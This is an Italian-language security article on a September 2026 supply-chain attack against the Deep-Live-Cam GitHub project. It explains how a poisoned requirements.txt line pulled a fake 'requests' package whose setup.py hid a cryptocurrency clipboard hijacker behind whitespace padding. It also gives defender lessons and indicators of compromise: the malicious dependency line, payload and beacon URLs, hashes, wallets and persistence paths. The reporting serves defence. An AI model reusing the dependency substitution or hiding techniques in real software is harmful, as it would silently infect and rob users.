Quattrocentotrentaquattro spazi vuoti. È lì che un attaccante ha nascosto, in un singolo file setup.py, il codice capace di trasformare uno dei tool di deepfake più popolari di GitHub in un ladro di criptovalute silenzioso. Deep-Live-Cam, applicazione open source per il face-swap in tempo reale con oltre 96.600 stelle, è rimasta compromessa per nove ore e trentanove minuti l’8 e il 9 settembre 2026. Bastano per infettare un numero di macchine impossibile da quantificare con certezza — ed è proprio questa incertezza, più che la tecnica in sé, il vero problema per chi deve valutare il danno.
Una finestra di nove ore, aperta da un account compromesso
La ricostruzione pubblicata dai ricercatori di SafeDep, specializzati in sicurezza della supply chain open source, è quasi cronometrica. Il 5 settembre l’attaccante crea su GitHub un account chiamato pypls e vi pubblica un repository denominato semplicemente requests — un tentativo di confusione visiva con la libreria Python omonima, tra le più scaricate al mondo. Tre giorni dopo, l’8 settembre alle 15:58:54 UTC, un commit (hash 7895c547) viene pushato direttamente sul branch principale di Deep-Live-Cam, modificando diciotto voci del file requirements.txt. La riga chiave è questa:
requests @ git+https://github.com/pypls/requests.gitCon una sola riga, ogni installazione del progetto smette di scaricare la libreria Requests originale e inizia a clonare il repository dell’attaccante, mantenendo però metadati ingannevoli che rimandano al progetto legittimo. La scoperta arriva rapidamente: alle 01:26:18 UTC del 9 settembre un ricercatore della community, identificato come fred-cardoso, segnala la dipendenza sospetta. Il maintainer reagisce in fretta, revertendo la modifica con il commit 55d306d5 alle 01:37:35 e, due minuti dopo, annunciando pubblicamente di aver rilevato “accessi anomali all’account nonostante l’autenticazione a due fattori attiva” e di aver ruotato credenziali e chiavi.
Il vettore di accesso iniziale resta un punto oscuro: il commit non è firmato, e questo impedisce di stabilire se l’attaccante disponesse di un token rubato, di una chiave SSH compromessa o di una sessione dirottata. Il solo dato certo è che il 2FA, da solo, non ha bastato a fermare l’attacco.
L’arte di nascondere codice: spazi e ideogrammi
La parte più istruttiva dell’attacco, dal punto di vista tecnico, riguarda il modo in cui il payload malevolo è stato occultato dentro il finto pacchetto requests. Nel file setup.py, subito dopo l’istruzione import sys, l’attaccante ha inserito 434 caratteri di spazio consecutivi sulla stessa riga, spingendo il codice realmente eseguito ben oltre il margine di visibilità di qualsiasi editor o strumento di revisione standard. Chi avesse aperto il file con un normale visualizzatore avrebbe visto solo righe vuote.
A questo si aggiunge un secondo livello di offuscamento: variabili con nomi in caratteri cinesi e giapponesi (tra gli esempi documentati da SafeDep, sequenze come “一時1”, “シード5”, “队列102”), scelte non tanto per nascondere il significato quanto per aumentare il rumore visivo e ostacolare l’analisi statica automatizzata. Il codice effettivo, decodificato da Base64 e decompresso con zlib, veniva eseguito durante la fase di build di pip — quindi prima ancora che l’installazione di Deep-Live-Cam si completasse, e indipendentemente dal fatto che l’utente avviasse mai l’applicazione.
Il payload: un clipper multipiattaforma “a norma”
Una volta eseguito, il payload installava un classico clipboard hijacker per criptovalute, ma implementato con una cura tecnica superiore alla media. Il malware monitorava gli appunti di sistema ogni 0,3 secondi, applicando espressioni regolari per riconoscere indirizzi di wallet e — dettaglio non scontato — validandoli correttamente prima della sostituzione: Base58Check per Bitcoin e Tron, Bech32/Bech32m per gli indirizzi SegWit nativi di Bitcoin, checksum Keccak-256 conformi allo standard EIP-55 per Ethereum, e la validazione Base58 a 32 byte per Solana. Un livello di attenzione che riduce drasticamente il rischio di sostituzioni fallite o rilevabili a colpo d’occhio dalla vittima.
Gli indirizzi degli attaccanti individuati da SafeDep coprono tutte le principali reti: due indirizzi Bitcoin legacy, uno SegWit e uno Taproot, un indirizzo Ethereum, uno Tron e uno Solana — una diversificazione che suggerisce un operatore abituato a monetizzare su più chain contemporaneamente.
Per sopravvivere ai riavvii, il malware si comportava in modo diverso a seconda del sistema operativo. Su Windows scriveva una voce SysHelper nella chiave di registro HKCU\Software\Microsoft\Windows\CurrentVersion\Run, puntando a uno script in %LOCALAPPDATA%\WindowsHelper\sys.pyw eseguito preferibilmente con pythonw.exe per restare invisibile senza finestra di console. Su macOS creava invece un LaunchAgent (com.user.syshelper.plist) con RunAtLoad e KeepAlive attivi, puntando a ~/Library/Application Support/HowToFind/sys.py.
Una finestra che nessun revert può richiudere del tutto
Qui sta il nodo più scomodo della vicenda: il revert del commit malevolo ha rimosso la dipendenza avvelenata dal codice sorgente, ma non ha eliminato nulla dai sistemi già compromessi durante le nove ore e trentanove minuti di esposizione. Chi ha installato o aggiornato Deep-Live-Cam in quella finestra temporale continua, con ogni probabilità, ad avere il clipper attivo in background, in attesa che l’ambiente Python venga reinstallato o che qualcuno individui manualmente le chiavi di persistenza. SafeDep è stata chiara su questo punto: l’analisi ricostruisce con certezza il funzionamento e le capacità del malware, non il numero di macchine effettivamente infettate né le perdite economiche reali — un limite intrinseco di qualsiasi indagine forense che parte da codice statico e non da telemetria delle vittime.
Con quasi 100.000 stelle su GitHub, Deep-Live-Cam gode di una base di installazioni potenzialmente enorme, spesso su macchine di utenti singoli, creator o piccoli studi che difficilmente dispongono di strumenti di monitoraggio EDR paragonabili a quelli di un ambiente enterprise — il bersaglio ideale per un attacco pensato per restare silenzioso il più a lungo possibile.
Cosa insegna ai difensori (e ai maintainer)
- Le dipendenze
git+https://dentrorequirements.txtmeritano lo stesso livello di sospetto di un binario scaricato da fonte sconosciuta: bypassano i controlli di integrità tipici di PyPI e permettono a chiunque abbia scritto quella riga di sostituire silenziosamente un pacchetto fidato. - Il 2FA classico non è sufficiente a proteggere account maintainer con questo livello di visibilità: servono chiavi hardware o passkey resistenti al phishing, oltre a policy che impediscano push diretti su branch principali senza review, anche per chi ha permessi di amministratore.
- Gli scanner di sicurezza per il codice dovrebbero segnalare automaticamente righe anomale per lunghezza (whitespace injection) e la presenza massiva di identificatori non-ASCII in file critici come
setup.py, entrambi pattern a basso costo di rilevamento e alto valore predittivo. - Chi ha installato o aggiornato Deep-Live-Cam tra l’8 e il 9 settembre 2026 dovrebbe considerare il proprio sistema potenzialmente compromesso, verificare la presenza delle chiavi di persistenza indicate negli IoC e ruotare eventuali wallet le cui transazioni sono transitate dagli appunti di sistema in quel periodo.
Indicatori di compromissione
[Timeline UTC]
2026-09-05 Creazione account GitHub "pypls" e repo fake "requests"
2026-09-08 15:58:54 Commit malevolo 7895c547 su Deep-Live-Cam (main branch)
2026-09-09 01:26:18 Segnalazione community (fred-cardoso)
2026-09-09 01:37:35 Revert (commit 55d306d5)
2026-09-09 01:39:12 Annuncio maintainer: account compromesso, rotazione credenziali
[Repository e dipendenza malevola]
Repo fake: github.com/pypls/requests
Riga requirements.txt: requests @ git+https://github.com/pypls/requests.git
Delivery payload: graph.org/coding-utf-8-09-05-2
Beacon/contatore: abacus.jasoncameron.dev/hit/duff.com/info
[Hash SHA-256]
setup.py malevolo: b34818f9208133c2fd2d0814162c6f3c59e35df518e3c95f998890f7e4a5e6f4
Payload clipper decodificato: 73cb3c0e9afd9db32a392655ff58be5cc95b24fbc0f412202853dc0161dd0561
[Wallet degli attaccanti]
BTC (legacy): 1LeCcPytFxpeo6Leujc4USuCwec9oDFa92
BTC (legacy): 3LKB1j9zgmSdaNWy3iLCiHVaV6b1qpLRXB
BTC (SegWit): bc1q42m55rrtzjzf05dhp4az02lqqkpjemjddwwht3
BTC (Taproot): bc1p68qmln48g90mpv6ukrmmhvp64qvx4evgu0h5s9mf6ljwp0n6ahnswhnpa6
ETH: 0x58d28b72c54A5b645201900c8aA8550ad7f7d90b
TRON: TDfqUBRSnXcEeLWSGHKSWPAhRSySqEiykQ
SOL: 6ig8v2AAvVQh4qK5JBS9ZTSWRjCKTHhEq4SMV8oqWfmu
[Persistenza]
Windows: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper
-> %LOCALAPPDATA%\WindowsHelper\sys.pyw
macOS: ~/Library/LaunchAgents/com.user.syshelper.plist
-> ~/Library/Application Support/HowToFind/sys.pyFonte principale: analisi tecnica SafeDep sulla compromissione della supply chain di Deep-Live-Cam.